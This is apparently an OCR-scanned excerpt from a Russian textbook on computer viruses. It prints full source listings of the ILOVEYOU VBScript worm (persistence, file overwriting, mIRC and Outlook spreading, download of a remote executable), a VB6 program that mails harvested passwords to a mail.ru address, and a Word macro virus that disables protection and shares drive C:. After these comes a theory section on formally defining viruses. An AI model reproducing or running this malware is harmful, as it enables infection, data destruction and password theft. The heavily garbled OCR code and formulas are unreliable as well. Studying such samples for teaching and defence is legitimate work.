sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACriINE\Software\Microsoft\" ♦ _ "Windows\CurrentVersion\Run\MSKernel32, _ d i r sy s tem&"\MSKerne13 2.vbs• regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\' * "Windows\CurrentVersion\RunServices\Win32DLL", _ dirwin&"\Win32DLL.vbs" downread="“ downread=regget("HKEY_CURRENT_USER\Software\" + "MicrosoftMnternet ExplorerXDownload Directory") if downread="" then downread='c:\" if fileexist(dirsystem&"\WinFAT32.exe")=l then Randomize num = Int((4 * Rnd) + 1) if num = 100000000000000000000 then regcreate "HKCU\Software\Microsoft\" + _ "Internet Explorer\Main\Start Page", _ "http://www.skyinet.net/-youngls/" + _ "HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj" + _ •w6587345gvsdf7679njbvY^/WIN-BUGSFIX exe" elseif num - 2 then regcreate "HKCU\Software\Microsoft\" + _ "Internet Explorer\Main\Start Page", "http://www.skyinet.net/~angelcat/" + _ "skiadjflfdjghKJnwetryDGFikjUIyqwerWe" + _ "546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe elseif num = 3 then regcreate "HKCU\Software\Microsoft\" + _ •Internet Explorer\Main\Start Page", _ "http://www.skyinet.net/~koichi/" * _ "jf6TRjkcbGRpGqaql98vbFV5hfFEkbopBdQZnm" + _ "POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\• » _ •Internet Explorer\Main\Start Page-, _ http://www.skyinet.net/~chu/" + _ "sdgfhjksdRklNBmnfgkKLHjkqwtuHJBhAFSDGjkh" + _ YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw” "237461234iuy7thjg/WIN-BUGSFIX.exe" end if enc if if (fileexist(downreadb"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\SoftwareXMicrosoft\" ♦ "Windows\CurrentVersion\Run\WIN-BUGSFIX', _ downreadfc"\WINrBUGSFIX.exe" regcreate "HKEY_CURRENT_USER\SoftwareXMicrosoftX" + •Internet ExplorerXMainXStarr. Page', "about:blank" end if end sub 24
sub listadriv On Error Resume Next Dim d.dc.s Set de = fso.Drives For Each d in de If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.paths<"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap.mircfname,s,bname,mp3 set f x fso.GetFolder(folderspec) set fc = f.Files for each fl in fc ext=fso.GetExtensionName(fl.path) ext=lcase(ext) s=lease(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(fl.path,2,true) ap.write vbscopy ap.close elseif (ext="js") or (ext="jse") or (ext="css*) or _ (ext="wsh“) or (ext="sct") or (ext=‘hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspecs."\"fcbnameb".vbs") fso.DeleteFile(fl.path) elseif(ext=•jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(fl.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop. copy (fl. paths. “ . vbs") fso.DeleteFile(fl.path) elseif (ext="mp3") or (ext="mp2") then set mp3 = fso.CreateTextFile ( f 1.paths." . vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes-att.attributes+2 25
end if if eqof olderspec then if (s =*mirc32.exe") or (s=’mlink32.exe’) or _ (s="mirc.ini*) or (s="script.ini*) or _ (s=*mirc hip*) then set scriptini=fso.CreateTextFile _ (folderspecb•\script.ini") scriptini.WriteLine "[script]* scriptini.WriteLine *;mIRC Script* scriptini.WriteLine *; Please dont edit this * script.. mIRC will corrupt, if mIRC will* scriptini.WriteLine * corrupt. . WINDOWS will "affect and will not run correctly, thanks" scriptini WriteLine •;* scriptini WriteLine *;Knaled Mardam-Bey* scriptini-WriteLine *;http://www mirc.com* scriptini WriteLine *;* scriptini.WriteLine "nO=on 1:JOIN:#:{* scriptini.WriteLine *nl- /if ( Snick == $me ) *{ halt )* scriptini.WriteLine *n2= /.dec send Snick* _ &d i r sys tem&"\LOVE-LETTER-FORYOUHTM* scriptini WriteLine *n3=)• scriptini close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f.fl.sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each fl in sf infectfiles(f1.path) folderlist(fl.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject(“WScript.Shell *) regedit. RegWrite regkey, regvalue. end sub
function regget(value) Set regedit = CreateObject 'WScript Shell') regge t=regedi t.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function 27
sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shel1) set out WScript.CreateObject("Outlook.Application") set mapi=out GetNameSpace( MAPI") for ctrlists=l to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=l regViregedit.RegRead("HKEY_CURRENT_USER\SoftwareX + "Microsoft\WAB\"&a) if (regv=" ) then regv-1 end if if (int(a.AddressEntries Count)>int(regv)) then for ctrentries=l to a AddressEntries.Count malead=a.AddressEntries(x) regad " regad regedit.RegRead("HKEY_CURRENT_USERX" + _ "So ftwar e XMi croso f tXWABX"bmalead) if (regad=""J then set male=out Createltem(O) male.Recipients Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlfb"kindly check the attached • + "LOVELETTER coming from me." male.Attachments.Add(dirsystemb _ " \LOVE- LETTER - FOR - YOU . TXT. vbs " ) male.Send regedit.RegWrite "HKEY_CURRENT_HOUSE\SoftwareX" + MicrosoftXWABX"bmalead, 1,"REG_DWORD" end if x-x+1 next regedit.RegWrite "HKEY_CURRENT_USER\SoftwareX" + "MicrosofhXWABX"&a,a.AddressEntries.Count else “ regedit.RegWrite "HKEY_CURRENT_USER\SoftwareX" + •MicrosoftXWABX"ba,a.AddressEntries Count end if next Set out: Nothing Set mapi=Nothing end sub 28
sub html On Error Resume Next dim 1ines,n,dtal,dta2,del,dt2 dt3 dt4,Il,dt5,dt6 dtal="<HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>* _ •<META NAME-@-@Generator@-@ CONTENT © ©BAROK * VBS - LOVELETTER© @>‘ _ & vbcrlf & _ <META NAME=© ©Author©-© CONTENTS ©spyder ?-? •ispyder@mail.com ?-? ©GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000©-©>" _ & vbcrlf & _ <META NAME-0 @Description@ © CONTENT=© ©simple but i think this is good ©>• _ & vbcrlf & _ <?-?TAIL>" _ & vbcrlf & _ <CENTER>This HTML file need ActiveX Control’ + •<?-?p>To Enable to read this HTML file • + _ - Please press # #YES#-# button to * + _ EnableActiveX<?~?p>" _ & vbcrlf & _ <?-?CENTER><MARQUEE LOOP=@-©infinite©-©' + _ • BGCOLOR=©-©yellow© @>--------z* + _ • z---------------------------- ♦ _ "<?-?MARQUEE> "bvbcrlf & _'<?-?BODY><?"7HTML>" _ & vbcrlf Ь _ <SCRIPT language=@-@JScript© ©• & vbcrlf & _ *<!—?-??-? & vbcrlf & _ "if (window.screen){var wi=screen.availwidth; • varhi=screen.availHeight;window.moveTo(0 0). •window.resizeTo(wi hi);}* Ь vbcrlf & _ _> & vbcrlf & _ <?-?SCRIPT>" _ & vbcrlf & _ <SCRIPT LANGUAGE=©-©VBScript©-©>' _ & vbcrlf & _ "<! -&vbcrlf& .‘on error resume next' _ & vbcrlf & _ "dim fso,dirsystem,rea,code,code2,code3,code4,“ •aw.regdit" _ & vbcrlf & _ aw=l" _ & vbcrlf & _ code=‘dta2="set fso=CreateObject(©-©Scripting. FileSystemObject©-©)“ _ 29
Ь vbcrif & _ "set dirsystem=fso.GetSpecialFolder(1)" _ & vbcrif & _ "code2=replace(code,chr(91)&chr(45)bchr(91),chr(39)) " _ & vbcrif & _ "code3=replace(code2,chr(93)bchr(45)bchr(93),chr(34))* & vbcrif b _ "code4=replace(code3,chr(37)bchr(45)bchr(37),chr(92))“ _ & vbcrif & _ "set rea=fso.CreateTextFile(dirsystemb@ 0" + _ "л-л№Кегпе132. vbs0-0) " _ Ь vocrlf b _ "wri.write code4“ _ & vocrlf & _ "wri.close" _ & vocrlf b _ “if (f so. Fi le.Exists (dirsystemb0 0~-~MSKernel32 . " _ vbs0-0)) then" _ & vocrlf & _ "if (err number=424) then" _ & vocrlf & _ "aw=0" _ & vbcrif & _ "end if" _ & vocrlf & _ "if (aw=l) then" _ b vocrlf & _ "document.write 0-0ERROR: can# #t" + _ " initialize ActiveX©-©" & vbcrif & _ window.close" _ & vocrlf & _ "end if" _ & vocrlf & _ "end if" _ & vocrl b _ "Set regedit = CreateObject(0-0WScript.Shell0-0)" + _ & vocrlf & _ "regedit.RfegWrite0-@HKEY_LOCAL_MACHINE~-~Software’ + _ A-''Microsoft''-~Windows''-~CurrentVersionA-^Run''" + _ “-*MSKernel320-0,dirsystemb0-0~-~MSKernel32.vbs0" + _ "-©"bvbcrlfb _"?-??-? >" _ & vocrlf & _ "<?-?SCRIPT>" dtl=replace(dtal,chr(35)bchr(45)bchr(35) , "'") dtl-replace(dtl,chr(64)bchr (4 5)bchr(64),"""") dt4-replace(dtl,chr(63)bchr(45)bchr(63) , " /") dt5=replace(dt4,chr(94)bchr(45)bchr(94),"\") dt2=replace(dta2,chr(35)bchr(45)bchr(35) , " ' ") dt2=replace(dt2,chr(64)bchr(45)bchr(64) , •••} dt3=replace (dt2, chr (63) bchr (45) bchr (63),"/'') 30
dt6»replace(dt3,chr(94)bchr(45)bchr(94), “\") set fso=CreateObjectI‘Scripting.FileSystemObject•) set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrif) 11=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),‘ ‘,chr(93)+chr(45)*chr(93)) lines(n)=replace(lines(n),"\’,chr(37)+chr(45)*chr(37)) if (ll=n) then lines(n)=chr(34)* lines(n)*chr(34) else lines(n)=chr(34)4lines(n)tchr(34)b‘bvbcrlfb _* end if next set b=fso.CreateTextFile(dirsystem* _ "\LOVE LETTER-FOR YCU.HTM”) b.close d fso.OpenTextFile(dirsysten+ _ \LOVE-LETTER-FOR-YOU HTM‘. 2) d write dt5 d.write joindines,vbcrif) d.write vbcrif d.write dt6 d close end sub
Листинг 1.6 • vb 6.0 VERSION 5.00 Object = •{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX" Begin VB.Form Forml Caption = "Forml” ClientHeight = 2085 ClientLeft = 60 ClientTop = 345 Clientwidth = 3180 LinkTopic = “Forml" ScaleHeight = 2085 Scalewidth = 3180 StartUpPosition = 3 ' Windows Default Visible = 0 ’ False Begin MSWinsockLib.Winsock Winsockl Left = 2640 Top = 720 _ExtentX = 741 _ExtentY = 741 -Version = 393216 End Begin VB.Label Labell Caption = "Labell” Height - 1815 Left = 240 Tabindex = 0 Top = 120 Width = 1935 End End Attribute VB_Name = "Forml" Attribute VB_GlobalNameSpace = False Attribute VB_CreaTable = False Attribute VB_Predeclaredld = True Attribute VB_Exposed - False Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _ (ByVai IpszAgent As String, _ ByVai dwAccessType As Long, _ ByVai IpszProxyName As String, _ ByVai IpszProxyBypass As String, _ ByVai dwFlags As Long) As Long 32
Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" _ (ByVai hlnet As Long, ByVai IpszUrl As String, _ ByVai IpszHeaders As String, _ ByVai dwHeadersLength As Long, _ ByVai dwFlags As Long, _ ByVai dwContext As Long) As Long Private Declare Function InternetCloseHandle Lib "wininet.dll" _ (ByVai hlnet As Long) As Long Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0 Private Const INTERNET_FLAG_RELOAD = &H80000000 Private Const INTERNET_FLAG_KEEP_CONNECTION = &H400000 Private Const INTERNET_FLAG_NO_CACHE. WRITE = &H4000000 Dim Response As String, Reply As Integer, DateNow As String Diir first As String, Second As String, Third As String Dim Fourth As String, Fifth As String, Sixth As String Dim Seventh As String, Eighth As String Dim Start As Single, Tmr As Single Private Sub Form_Load() Dim sTmp As String Dim hlnet As Long Dim hUrl As Long Dim Flags As Long Dim url As Variant Проверка возможности установления связи с Internet conn = О hlnet = InternetOpen(Арр Title, _ INTERNET_OPEN_TYPE_PRECONFIG, _ vbNullString, vbNullString, 0&) If hlnet Then Flags = INTERNET_FLAG_KEEP_CONNECTION Or INTERNET_FLAG_NO. CACHE WRITE Or I NTERNET_FLAG_RELOAD hUrl = InternetOpenUrl(hlnet, _ "http://www.mail.ru", _ vbNullString, 0, Flags, 0) If hUrl Then Call InternetCloseHandle(hUrl) conn = 1 Соединение c Internet возможно! End If End If Call InternetCloseHandle(hlnet) 33
If conn = 1 Then 1 Если соединение c Internet возможно,ж то ... GetPasswords &HFF, "" SendEmail "smtp mail.ru", _ "abs", "abs@mail.ru", _ "test", "test@test.net", _ "Ripped passwords", pass Forml.Label1.Caption End If End End Sub Private Sub SendEmail(MailServerName As String, _ FromName As String, _ FromEmailAddress As String, _ ToName As String, _ ToEmailAddress As String, _ Emailsubject As String, _ EmailBodyOfMessage As String) ' On Error Resume Next Winsockl.LocalPort = 0 ' Лок.порт д.б уст.в О If Winsockl.State - sckClosed Then ’ Socet закрыт ? Организуем сеанс SMTP1 DateNow = Format(Date, Ddd") & ", " & _ Format(Date, "dd Mmm YYYY") & " " & _ Format(Time, "hh:mm:ss") & " -0600" first = "mail from." + Chr(32) + FromEmailAddress + vbCrLf Second = "rcpt to " + Chr(32) + ToEmailAddress + vbCrLf Third = "Date:" + Chr(32) + DateNow + vbCrLf Fourth = "From:" + Chr(32) + FromName + vbCrLf Fifth = "To:" + Chr(32) + ToName + vbCrLf Sixth = "Subject;" + Chr(32) + EmailSubject + vbCrLf Seventh = EmailBodyOfMessage + vbCrLf Ninth = "Х-Mailer: EBT Reporter v 2.x" t vbCrLf Eighth = Fourth + Third + Ninth + Fifth + Sixth Winsockl.Protocol - sckTCPProtocol ' Протокол соединения Winsockl-RemoteHost = MailServerName ' Имя (адрес) сервера Winsockl.RemotePort - 25 ' Номер SMTP-порта Winsockl.Connect ' Установление соединения WaitFor ("220") • Debug.Print "Connecting ..." Winsockl.SendData ("HELO yourdomain.com" + vbCrLf) WaitFor ("250") • Debug.Print "Connected" 1 Фейт C TCP/IP. Архитектура, протоколы, реализация (включая IP версии 6 и IP Secu- nty) - M Лори, 2000 - 424 с 34
Winsockl.SendData (first) Debug.Print "sending mess" WaitFor ("250'1 Winsockl.SendData (Second) WaitFor ("250") Winsockl.SendData ("data" + vbCrLf) WaitFor ("354") Winsockl.SendData (Eighth + vbCrLf Winsockl.SendData (Seventh + vbCrLf) Winsockl.SendData (".“ + vbCrLf) WaitFor ("250") Winsockl.SendData ("quit" + vbCrLf) WaitFor ("221") Debug.Print "disconnecting" Winsockl.Close Else MsgBox ("Winsockl.State = " + Str(Winsockl.State)) End If End Sub Sub WaitFor(ResponseCode As String) Dim MsgTitle As String MsgTitle = "WaitFor" Start - Timer ' Момент времени начала ожидания ответа While Len(Response) = 0 Tmr = Start - Timer DoEvents ' Система ждет поступления ответа ... If Tmr > 50 Then ' Превышено время ожидания (в сек.) ? MsgBox "SMTP service error, " & _ timed out While waiting For response", _ 64 MsgTitle Exit Sub End If Wend While Left(Response, 3) <> ResponseCode DoEvents If Tmr > 50 Then MsgBox "SMTP service error, “ + _ "impromper response code. " + _ "Code should have been: " + _ ResponseCode + * Code recieved: " + _ Response, 64, MsgTitle Exit Sub End If Wend Response = ' Очистка Response End Sub 35
Листинг 1.7 Private Sub Document Open)) • MS Word, VBA 'Thus .001 • Anti-Smyser 'Surgeon' On Error Resume Next With Application.Options .ConfirmConversions = False .Virusprotection = False .SaveNormalPrompt = False End With ActiveDocumer.t.ReadOnlyRecommended = False This is small fun' Dim nt As Object, ad As Object Set nt = _ NormalTemplate.VBProject.VBComponents.Item) 1) CodeModule Set ad = _ ActiveDocument.VBProject.VBComponents.Item(1).CodeModule If nt.Lines(12, 1) <> “'This is small fun'" Then _ nt.DeleteLines 1, nt.CountOfLines If nt.CountOfLines = 0 Then _ nt.InsertLines 1, ad.Lines(1, ad.CountOfLines) If NormalTemplate.Saved = False Then NormalTemplate.Save For к = 1 To Application.Documents.Count With _ Application.Documents.Item(k)._ VBProject.VBComponents.Item(1).CodeModule If Lines(12, 1) <> "‘This is small fun'" Then .DeleteLines 1, .CountOfLines If CountOfLines = 0 Then _ .InsertLines 1, nt.Linesd, nt.CountOfLines) End With Next к With Application.FileSearch .NewSearch .Lookin • "C:\Program Files\Microsoft Office\" + _ "Office\STARTUP" . SearchSubFoIciers = False If .Execute > 0 Then GoTo rl End With Documents.Add Template:="• NewTemplate:=True ActiveDocument.SaveAs _ FileName:= "C:\Program FilesX' + _ 'Microsoft Office\Office\STARTUP\autosave dot", _ FileFormat:=wdFormatTemplate, _ Lockcomments': =False _ Password:="", _ AddToRecentFiles:=True, _ WritePassword:="", _ 38
ReadOnlyRecommended:=False, _ EmbedTrueTypeFonts:=False, _ SaveNativePictureFormat-=False, _ SaveFormsData:-False, _ SaveAsAOCELetter:=False With , . , ActiveDocument.VBProject.VBComponents.Item(1).CodeModule .AddFromString (“sub viewvbcode()" & & “end sub") .AddFromString ("sub ToolsMacro()“ & ““ & “end sub") .AddFromString (“sub FileTemplates()" b “.“ & “end sub“) ActiveDocument.Save ActiveDocument.Close End With Г1: Dim c As String If Asc(System.PrivateProfileString(““ _ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\" + _ “Windows\CurrentVersion\Network\LanMan\C", _ “Flags")) = 146 Then GOTO exitsl Open “c:\nc.dll" For Output As #1 C = "REGEDIT4" Print #1, c C = “(HKEY_LOCAL_MACHINE\SOFTWARE\Mlcrosoft\“ + “Windows\CurrentVers ion\Ne twork\LanMan\C]“ Print #1, c c = Chr(34) & "Flags" & Chr(34) & "=dword-00000192" Print #1, c c = Chr(34) & “Type- & Chr(34) & "=dword:00000000“ Print #1, c c = Chr(34) & “Path" & Chr(34) & “=“ & Chr(34) & _ "C:\\“ & Chr(34) Print #1, c c = Chr(34) & "Parm2enc" & Chr(34) & ”=hex:“ Print #1, c c = Chr(34) & “Parmlenc" & Chr(34) & “-hex:" Print #1, c c = Chr(34) & “Remark" & Chr(34) & “=“ A Chr(34) & Chr(34) Print Ml, c Close #1 Shell 'regedit c:\nc.dll" Kill "c:\nc.dll" exitsl: End Sub Private Sub Document_Close() Document_Open End Sub Private Sub Document..New () Documen t_Open End Sub 39
2. ТЕОРИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ 2.1. Проблема формам ыюго определения компьютерного вируса Основная трудность, возникающая при попытках дать строгое опре деление компьютерных вирусов (КВ), заключается в том, что практически все отличительные черты КВ (способность к внедрению в другие объекты скрытность большинства фаз жизненного цикла, реализация несанкциони рованного доступа к информации, деструктивные функции и т. н.) либо присуши другим программам и программным компонентам, которые ни коим образом вирусами не являются либо существуют КВ, которые не со держат указанных выше отличительных черт (за исключением возможно сти самораспространения). Например, если в качестве отличительной характеристики КВ при нять скрытность фаз жизненного цикла, то легко привести пример вируса, не скрывающего своего распространения. Такой вирус перед заражением любого файла выводит сообщение, говорящее о том, что в компьютере на ходится вирус и этот вирус готоа поразить очередной файл, затем выводит имя гтого файла и запрашивает разрешение пользователя на внедрение КВ в файл. Если в качестве отличительной черты вируса взять возможность уничтожения им программ и данных на дисках, то в качестве контрпримера к данной отличительной черте можно привести десятки со- вершенно безобидных в принципе КВ, которые кроме своего распростра нения ничем больше не отличаются. Основная же особенность КВ - возможность их самопроизвольного внедрения в различные объекты про*раммного обеспечения компьютера присуща многим программам, которые ие имеют никакого отношения к КВ Например, операционная система MS DOS имеет в себе все необходи мое, чтобы самопроизвольно устанавливаться на жесткие и флоппи- диски ком ьютера Для этого достаточно на загрузочный диск, содержащий MS DO записать файл AUTOEXEC.BAT следующего содержания sys а: сору *.* а: \ sys Ь: сору *.* Ь:\ sys с: сору *.* с: \ В этой ситуации поведение MS DOS попадает под определение 1 5 С другой стороны, отнесение каких бы то ни было штатных компонент MS DOS к категории КВ вряд ли оправдано Имеем очередное противоречие Таким образом, главной из причин, не позволяющих дать точное оп- ределение КВ, является невозможность однозначно выделить отличитель- ные признаки программных компонент, которые соответствовали бы толь- ко вирусам Тем не менее, необходимое условие того, что некоторая программ ная компонента является КВ, попытаться сформулировать можно. Итак, необходимым свойством КВ является возможность созда- вать свои копии (необязательно совпадающие с оригиналом) и внедрять их в файлы, системные области компьютера и прочие выполняемые объекты как в рамках одного компьютера, так и в пределах ВС При этом копии сохраняют способность к дальнейшее распространению Формализуем данное свойство. Пусть Р — множество всех возмож- ных программных компонент Выделим из множества Р подмножество программных компонент fC, способных создавать свои копии, необяза- тельно совпадающие с оригиналом. На множестве R определим отноше- ние С («создает копию, необязательно совпадающую с оригиналом»). В функциональной нотации это определение выглядит следующим образом С К-эК’ R'cP R’ --Р, (2 1) Def где R’ область значений С (множество копии, порождаемых отношени ем С из R’). Пусть, далее, R множество программных компонент, удов- 1 re R Def О ГЙ R летворяющих формализуемому свойству, a (г) = — харак- теристическая функция этого множества Теперь уточним на основании формулировки формализуемого свойства, что мы понимаем под копией, необязательно совпадающей с оригиналом. Очевидно, характеристикой, объединяющей копию с оригиналом, является способность копии созда- вать новые копии с сохранением той же характеристики. Таким образом, факт наличия или отсутствия формализуемого свойства у программной компоненты г определяется следующим рекурсивным соотношением 1 ZR(C(r)) = l О /д(С(г)) = 0 v гй R re Р (2.2) Итак, соотношениями (2.1) и (2.2) свойство формализовано. Рассмотрим контрпример. Пусть в некотором КВ реализован меха- низм ограничения на количество поколений, способных к размножению Другими словами, пусть для соответствующей программной компоненты П е R выполняется условие ЗА: (ke N, 1<Л <+~) С*(г1)еЛ' (2.3) 40 41
где N - множество натуральных чисел, отношение ограниченности к <+°о означает что к - конечное [исло, а также введено следующее обо значение; С*(«) = С(С(...(С(«)). )) Соотношение (2.2) с учетом условия к рлл (2.3) позволяет легко прийти к выводу, что (/]) = 0, то есть rte R Мы снова пришли к противоречию рассматриваемый КВ не обладает необхо- димым свойством КВ Причина возникновения этого противоречия заключается в том, что формализованное нами свойство предполагает только бесконечную рекур сию (наглядно данная ситуация представлена на рис. 2.1). а случай коиеч ной рекурсии приведенной формулировкой свойства не предусмотрен. Исследуем случай бесконечной рекурсии. Будем называть свойство присущее или не присущее каждому элементу некоторого множества, раз решимым, если определение этого свойства позволяет за конечное количе- ство шагов рассуждений дать заключение о наличии данного свойства у любого элемента рассматриваемого множества. Покажем, что соотноше- ния (2.1) и (2.2) задают не разрешимое в общем случае свойство. Начнем с частного случая, в котором исследуемое свойство разре шимо. Рассмотрим бесконечную последовательность программных компо- нент {г,}._0 ( , где Гр*б Л' и Fj = C(r(_() е Z?', i - 1,2 Пусть 3rj (je{0}uN, j<+~) 3/(/е N, /<+оо) [c,(r^)=r (2.4) Легко убедиться что свойство, задазаемое соотношениями (2 1), (2.2) и (2.4), разрешимо. Пусть, далее, (2.4) не выполняется В этом случае прямое использо вание соотношения (2.2) для проверки наличия свойства приводит к беско- нечной последовательности шагов, то есть в общем случае свойство, опре деляемое (2.1) и (2.2), не разрешимо Теперь окончательно можно сделать вывод о том, что приведенная выше формулировка необходимого свойства КВ формально не корректна Попытаемся исправить формулировку. Пусть R - множество программных компонент обладающих ранее сформулированным необходимым свойством КВ за исключением послед- него предложения Его мы сформулируем следующим образом «при этом копии сохраняют способность к дальнейшем распространению хотя бы в пределах к поколений». Иначе говоря, пусть Xr(t) = С* ’(г)е /Г Clc~'(r)eR’ ке N, к>2, re Р (2.5) 1 О Здесь, правда, мы жертвуем строгостью понятия копии в указанном выше смысле, однако, теперь свойство, определяемое соотношениями (2.1) и (2.5), совместимо и с условием (2.3), и с условием (2.4). Подведем итог Построение строгого формального определения КВ наталкивается на значительные, часто принципиальные трудности Эти трудности носят как содержательный, так и алгоритмический характер В этих условиях остается довольствоваться лишь неформальными конструк- циями Поэтому в заключение мы приведем новое неформальное опреде- ление КВ уточняющее определение 1.5 Оно базируется на официальном определении из ГОСТ Р 51188-98 (см Приложение 2) и учитывает наш опыт исследования проблемы корректной формулировки необходимого свойства КВ. Определение 2 1 Компьютерный вирус - это программная ком понента, способная создавать свои копии (необязательно совпадающие с оригиналом) и внедрять их в файлы, системные области компьютера и прочие выполняемые объекты как в рамках одного компьютера, так и в пределах вычислительных сетей, а также осуществлять иные деструктив- ные действия При этом копии сохраняют способность дальнейшего рас- пространения (в пределах, как минимум нескольких поколений) Компью- терный вирус относится к вредоносным программным компонентам Это определение компьютерного вируса в рамках данного учебного пособия будем считать основным 2.2. Условия существования компьютерных вирусов В качестве инструмента исследования проблемы существования КВ будем использовать стандартную субъектно-объектную модель [4, 10 43
Пусть алфавит A = {u1,a2..ап} ~ это непустой, но конечный на- бор символов, называемых буквами. Словом называется любая конечная последовательность таких букв. В том числе рассматривается и пустое слово null, то есть слово, не содержащее ни одной буквы. Множество всех слов в алфавите А будем обозначать через Ид Таким образом, информа- ция всегда конечна. Из при помощи некоторых правил выделим под- множество правильных слов, которое назовем языком. Если L] язык описания одной информации, L2 другой, то можно говорить о языке объединяющем L, и Ь2 и описывающем ту и другую информацию. В этом случае будем говорить, что языки и Ь2 являются подъязыками языка £3. Будем считать, что любая информация представима в виде слова в некотором языке L. Кроме того, будем полаоть, что состояние любого устройства в вычислительной системе также представимо в виде слова этого языка Иначе говоря, состояния всех компонентов произвольной вы- числительной системы и слова описывающие их состояния, можно ото ждествлять. Эти предположения позволяют весь последующий анализ вес- ти в терминах некоторого языка L. Определение 2.2. Объектом относительно языка L (или просто объектом когда язык однозначно определен контекстом) называется про- извольное конечное множество слов языка L Рассмотрим несколько примеров, иллюстрирующих только что вве- денное нами понятие Пример 2 1. Произвольный файл в вычислительной системе есть объект Действительно в любой момент времени файл содержит одно из конечного множества слов языка L в некотором алфавите А , отражающих содержание информации, хранящейся в файле. Иначе говоря, файл можно рассматривать как конечное множество слов, которые в нем могут быть записаны То, что в данный момент времени в файле содержится данное слово, не исключает потенциальной возможности записи в этот файл дру- гих допустимых слов То есть в понятие файла как объекта входит все до- пустимое множество таких слов. Естественно, выделяется слово записан ное в файле в данный момент это состояние объекта в данный момент времени Пример 2.2. Пусть содержимое файла разбито на фрагменты так, что любой фрагмент также является словом языка L и следовательно, также является объектом. Таким образом, один объект может являться ча- стью другого. Пример 2.3. Принтер - объект. Существует некоторый язык, опи сываюший состояние принтера в произвольный момент времени Множе- 44
ство допустимых описаний состояний принтера является конечным под- множеством слов в этом языке Именно это конечное множество и опреде ляет принтер как объект. Пример 2.4. Блок питания компьютера также является объектом В простейшем случае этот объект определяет множество из двух слов, озна- чающих, что компьютер включен или выключен. Особое место среди понятий субъектно-объектного формализма за- нимают понятия преобразования информации и описания этого преобразо- вания Именно через них будет введено понятие субъекта. Определение 2.3. Преобразованием информации назовем поня- тие, означающее факт отображения одного слова языка (исходные данные) в другое слово (результирующие данные). Под описанием преобразования будем понимать представление алгоритма преобразования в виде слова языка L Описание преобразования является объектом Примерами объектов, описывающих преобразования информации, являются компьютерные про- граммы Каждое преобразование информации может либо храниться, либо выполняться В первом случае речь идет о хранении описания преобразо- вания в некотором объекте (например файле). В этом случае описание преобразования ничем не отличается от любых других данных Во втором случае описание преобразования (программа) взаимодействует с различ ными ресурсами вычислительной системы - памятью, процессором, пери- ферийными устройствами и т. п. Определение 2.4. Ресурсы системы, выделяемые для выполнения преобразования, называются доменом Однако для осуществления преобразования одних данных в другие кроме домена необходимо передать этому преобразованию особый статус в системе, только при получении которого ресурсы системы смогут осуще- ствить преобразование. Этот статус будем называть управление Определение 2.5. Преобразование, которому передано управле- ние, называется процессом. При этом подразумевается что преобразование осуществляется в не- которой системе, в которой ясно, что значит «передать управление». Определение 2.6 Объект, описывающий преобразование, кото- рому выделен домен и передано управление называется субъектом Ины- ми словами субъект это пара: домен и процесс. 45
Генезис субъектов в исследованиях проблем информационной безо пасности при помощи субъектно-обьектного формализма вскрывает еле дующая аксиома. Аксиома 2.1. Субъекты в вычислительной системе могут быть по рожОены из объектов только субъектами Специфицируем механизм порождения новых субъектов следующим определением Определение 2.7. Объект о называется источником для субъекта s', если существует субъект s, в результате воздействия которого на объ ект о в вычислительной системе возникает субъект s' Субъект s, порождающий новый субъект из объекта о, называет я активизирующим субъектом для субъекта s', s' назовем порожденным субъектом Используя функциональную нотацию, операцию порождения субъ- екта можно определить следующим образом: Execute S*O —> Scj {unknown (2 6) Def где .$ - множество субъектов, О - множество объектов, unknown - не существующий субъект. Операцию порождения субъекта можно изобра зить [рафически (см. рис. 2.2). На этом рисунке и далее объекты будем изображать черными кружками, а субъекты незакрашенными ок ружностями Контурная стрелка в данном слу (В ° чае показыает отображение Execute. Очевидно, что операция порождения субъекта зависит как от свойств активизирующего субъекта, так и от J-L содержания объекта-источника С/ 5 Исходя из (2.6) видно, что найдутся такие субъект з и объект о, для которых справедли- J во следующее соотношение: , ( ) з = Execute (s. о) Execute (s, о) = unknown Рис. 2 2 Фактически это означает, что порождение но- вого субъекта из объекта о при активизирую- щем воздействии з невозможно (см. рис. 2.3). Пример 2.5 Практически во всех операционных системах 